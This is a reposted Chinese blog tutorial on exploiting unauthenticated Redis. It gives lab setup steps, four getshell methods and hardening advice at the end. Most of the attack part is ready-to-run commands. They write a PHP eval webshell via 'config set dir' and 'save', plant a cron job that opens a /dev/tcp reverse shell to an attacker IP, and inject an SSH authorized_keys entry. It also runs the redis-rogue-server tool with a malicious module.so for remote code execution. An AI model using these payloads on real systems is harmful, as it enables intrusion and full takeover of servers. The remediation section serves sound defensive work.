redis未授权getshell整合利用

news2024/12/24 8:18:00

一、redis环境搭建


Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz

1.靶机安装redis-centos7

第一步:下载wget
yum -y install wget 
第二步:下载redis
wget http://download.redis.io/redis-stable.tar.gz
第三步:解压redis
tar -zxvf redis-stable.tar.gz 
第四步:解压后需要编译
make
make报错:make MALLOC=libc     make distclean
第五步:进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
第六步:将redis配置文件复制到/etc目录下
cp redis.conf /etc
第七步:启动redis服务器
redis-server /etc/redis.conf


1、yum -y install wget 下载wget


2、下载redis
wget http://download.redis.io/redis-stable.tar.gz


3、解压redis
tar -zxvf redis-stable.tar.gz


4、进入到redis-stable 目录后,使用make编译

5.、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功

6、进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)


7、回到redis-stable将redis配置文件复制到/etc目录下

8、启动redis服务器redis-server /etc/redis.conf


2、攻击机安装redis-cli-kali

#下载redis
wget http://download.redis.io/redis-stable.tar.gz

#解压redis
tar -zxvf redis-stable.tar.gz

#进入redis-stable解压后需要编译
make
make报错:make MALLOC=libc     make distclean

#进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin

#常规连接指令
 redis-cli -h 目标主机ip地址 -p 端口号  


1、下载redis
wget http://download.redis.io/redis-stable.tar.gz

2、解压redis
tar -zxvf redis-stable.tar.gz

3、进入redis-stable解压后需要编译

4、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功

5、进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin

6、常规连接指令
redis -cli -h 目标主机ip地址 -p 端口号

3、错误排查


现象描述:
使用namp探测端口,探测攻击机能否连接,通过测试发现,连接不上。

解决方法:

1、检查redis是否启动

ps -ef | grep redis 

2、关闭防火墙,并永久性开启自禁止

systemctl stop firewalld.service   #关闭防火墙
systemctl disable firewalld.service  #并永久性开启自禁止


3、如果上面都没有问题,外部还是连接不上,修改/etc/redis.conf配置文件,设置如下

bind 127.0.0.1 ::1
bind 192.168.xx.xx     #将服务器IP写入
protected-mode  no     #将yes改成no


4、重新启动一下redis,测试连接正常

redis-server /etc/redis.conf

二、redis漏洞原理


Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。

三、拓扑图

四、redis四种getshell方式


1、直接写入shell脚本


1.1 前提条件

1、低版本或者enable-protected-config yes

2、知道网站绝对路径,并且需要增删改查权限

 获取网站路径方式: 1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

3、root启动redis

4、redis弱密码或者无密码

1.2 redis写入shell

命令:

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

测试语句截图:

测试结果:

1.3 注意


133行no改为yes,只有这样才可以修改配置文件


 

如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config


当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。

2.定时任务写入反弹shell


2.1 在攻击机上监听888端口等待反弹shell

nc  -lvp 888

2.2 在redis中写入定时任务


set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save


测试语句:


测试结果: 需要等待一段时间

3 写 ssh-keygen 公钥登录服务器

3.1 原理:


SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:


(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

3.2 条件:


1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

3.3 攻击机kali生成公钥


3.3.1  生成公钥

3.3.2  找到公钥文件
命令:

cd /root/.ssh
ls
cat id_rsa.pub

3.4 将公钥文件上传靶机上


redis-cli -h 192.168.33.134        #连接目标主机redis
config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n"         #将公钥写入xz健
save                         #进行保存    

set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E \n\n\n" 

测试语句:

3.5 利用私钥远程登录redis的22端口

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx

3.6 服务器开启ssh

[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
# 重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service


4 Redis主从复制getshell


4.1 原理

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

4.2 条件

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis

4.3 攻击主机kail操作

kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server

 wget https://github.com/n0b0dyCN/redis-rogue-server

交互式shell

python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so


根据提示输入i进入交互shell
反弹shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹

ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

五、修复建议


1)禁止一些高危命令(重启redis才能生效)

修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL “name1”
rename-command CONFIG “name2”
rename-command EVAL “name3”


2)以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis


3)为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)


4)禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。


5)修改默认端口

修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)


6)保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh


7)设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

学习记录

原文链接:https://blog.csdn.net/qq_56607768/article/details/130337729

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1818698.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

英格索兰IngsollRang控制器过热维修讲解

【英格索兰IngsollRang控制器维修请关注】 【英格索兰IngsollRang控制器维修】 【英格索兰控制器维修】 一、IngsollRang扭矩枪控制器故障诊断 1. 检查环境温度&#xff1a;首先&#xff0c;确认工作场所的温度是否过高。如果环境温度超过设备规定的工作温度&#xff0c;可能…

数据结构入门:探索数据结构第一步

0.引言 在我们的日常生活中&#xff0c;经常需要管理大量的数据&#xff0c;就譬如学校中有好几千个学生&#xff0c;中国有十三亿人口&#xff0c;对于那么多的数据进行查找、插入、排序等操作就会比较慢。人们为了解决这些问题&#xff0c;提高对数据的管理效率&#xff0c;…

支持微信支付宝账单,极空间Docker部署一个开箱即用的私人账本『cashbook』

支持微信支付宝账单&#xff0c;Docker部署一个开箱即用的私人账本『cashbook』 哈喽小伙伴好&#xff0c;我是Stark-C~ 不知道屏幕前的各位富哥富姐们有没有请一个专业的私人财务助理管理自己的巨额资产&#xff0c;我不是给大家炫耀&#xff0c;我在月薪300的时候就已经有了…

WPF学习(2)--类与类的继承2-在窗口的实现

一、代码分析 1.Animal.cs 1.1 代码 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace AnimalNamespace {public class Animal{public string Name { get; set; }public int Age { get; set…

四、STP(生成树协议)

目录 一、经典生成树&#xff08;STP&#xff09; 1.1、作用 1.2、重要参数 1.3、BPDU 1.4、STP计算过程 1.5、STP接口状态 二、快速生成树&#xff08;RTSP&#xff09; 2.1、端口角色的增补 2.2、端口状态简化 2.3、配置BPDU报文修改 2.4、配置BPDU的处理 2.5、快…

从零开始手把手Vue3+TypeScript+ElementPlus管理后台项目实战十一(整体布局04之Header及用户注销)

新增Hearder 新增 src/layout/components/PageHeader.vue <template><div class"header-cont"><div><h1><router-link to"/">RealWorld</router-link></h1></div><div><template v-if"is…

ESP32-C6 闪耀 Apple WWDC24|使用 Embedded Swift 构建 Matter 设备

WWDC 是苹果公司的年度全球开发者大会&#xff0c;旨在向全球开发者展示最新技术和工具。在今年的 WWDC 2024 上&#xff0c;苹果宣布将 Swift 语言扩展至嵌入式设备领域。大会技术讲座中&#xff0c;乐鑫 ESP32-C6 也现身官方 Demo “Go Small with Embedded Swift​​​​​​…

Python-json模块

一、相关概念 # 序列号 和反序列号 # 序列号&#xff1a;把内存中的数据类型转成一种特定格式&#xff0c;这种格式&#xff08;json/pickle&#xff09;可以用于存储&#xff0c;或者传输给其他平台 import json # 内存中是数据类型 ----> 序列化 ----> 特定格式&…

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 6月13日,星期四

每天一分钟&#xff0c;知晓天下事&#xff01; 2024年6月13日 星期四 农历五月初八 1、 财政部&#xff1a;将在19日第一次续发行2024年20年期超长期特别国债。 2、 成本低&#xff0c;商载高&#xff0c;我国自主研制HH-100商用无人运输机首飞成功。 3、 四川甘孜州石渠县1…

水利水电安全员B类精选试题(附答案)

第1题:职业病病人除依法享有工伤保险外&#xff0c;依照有关民事法律&#xff0c;尚有获得赔偿的权利&#xff0c;有权向()提出赔偿要求。 | A.当地人民政府 B.医疗机构 C.企业主管部门 D.用人单位 正确答案:D 第2题:事故预防对策中()是利用法律.规程.标准以及规章制度等必要…

ChatGPT面试指南来袭!10个提示词助你应对自如

面试时刻,你准备充分了吗?许多求职者即将面对的面试,仿佛一场无形的战斗。关键的面试问题,犹如一个个智勇双全的敌人。那么,如何才能在这场战斗中取胜?本文为你提供面试中的十大秘密武器——提示词。正确使用提示词,你可以破解面试官的难题,从容应对各种困境。别小看这十个小…

SpringBoot集成mqtt上下线提醒功能设计

目录 1.首先安装emqx&#xff0c;去官网下载emqx压缩包&#xff0c;并且解压。 2.使用emqx start 命令启动emqx后台管理 3.下载mqttx调试工具&#xff0c;使用mqttx调试mqtt连接。下载地址:MQTTX下载-MQTTX官方版下载,下载完成直接打开&#xff0c;便可进行mqtt连接调试 4.…

ping: www.baidu.com: 未知的名称或服务(IP号不匹配)

我用的是VMware上的Red Hat Enterprise Linux 9&#xff0c;出现了能联网但ping不通外网的情况。 问题描述&#xff1a;设置中显示正常连接&#xff0c;而且虚拟机右上角有联网的图标&#xff0c;但不能通外网。 按照网上教程修改了/etc/resolv.conf和/etc/sysconfig/network-…

公交车载视频监控系统解决方案

公交车载视频监控系统基于iVMS-7200移动视频监控管理平台&#xff0c;通过3G/4G网络接入车载前端&#xff0c;实现实时监控、录像回放、GIS地图定位、轨迹回放、设备状态查询、紧急报警等功能。 车载前端包含车载硬盘录像机(简称车载DVR或MDVR)、车载专用摄像机、车载LCD显示屏…

谷粒商城实战(035 k8s集群学习1-前置介绍)

Java项目《谷粒商城》架构师级Java项目实战&#xff0c;对标阿里P6-P7&#xff0c;全网最强 总时长 104:45:00 共408P 此文章包含第339p-第p342的内容 分布式高级篇总结 高可用集群 内容 k8s介绍 为什么使用k8s 组件 master组件 node&#xff08;节点&#xff09;组件 要部…

操作系统——信号

将信号分为以上四个阶段 1.信号注册&#xff1a;是针对信号处理方式的规定&#xff0c;进程收到信号时有三种处理方式&#xff1a;默认动作&#xff0c;忽略&#xff0c;自定义动作。如果不是自定义动作&#xff0c;这一步可以忽略。这个步骤要使用到signal/sigaction接口 2.…

代码随想录算法训练营第五十八天 | 392.判断子序列

392.判断子序列 题目链接&#xff1a;代码随想录 视频讲解&#xff1a;动态规划&#xff0c;用相似思路解决复杂问题 | LeetCode&#xff1a;392.判断子序列_哔哩哔哩_bilibili 解题思路 本题和求最长公共子序列是一样的&#xff0c;值就是s字符串的长度&#xff0c;如果一致…

不吃饭也要搞懂的 git 命令

昨天睿哥布置了一个任务给我&#xff0c;让我学习一下 Git 的一些命令。 我问睿哥&#xff0c;到底我们在实际开发中用哪些命令会比较多&#xff0c;睿哥是这样回答我的&#xff1a; 而且他推荐我用 IDEA 自带的那个 Git 面板来执行 git 命令&#xff0c;他说直接敲命令太麻烦…

一线大厂都在高薪抢AI产品经理?

哈喽&#xff0c;大家下午好呀&#xff5e; 当AI的风吹到产品届&#xff0c;唯叹相见恨晚&#xff01; 作为一名产品经理&#xff0c;日常写调研、需求分析、产品设计、项目管理、数据分析……每一项工作都需要投入大量的时间和精力。 但用上AI后&#xff0c;你会发现写个需…

【面经总结】Java基础 - IO

序列化 什么是序列化和反序列化&#xff1f; 序列化&#xff1a;将对象转换为二进制数据 反序列化&#xff1a;将二进制数据转换为对象 目的&#xff1a;方便网络传输、持久化保存 Java 是怎么实现序列化的&#xff1f; Java 通过对象输入输出流来实现序列化和反序列化&a…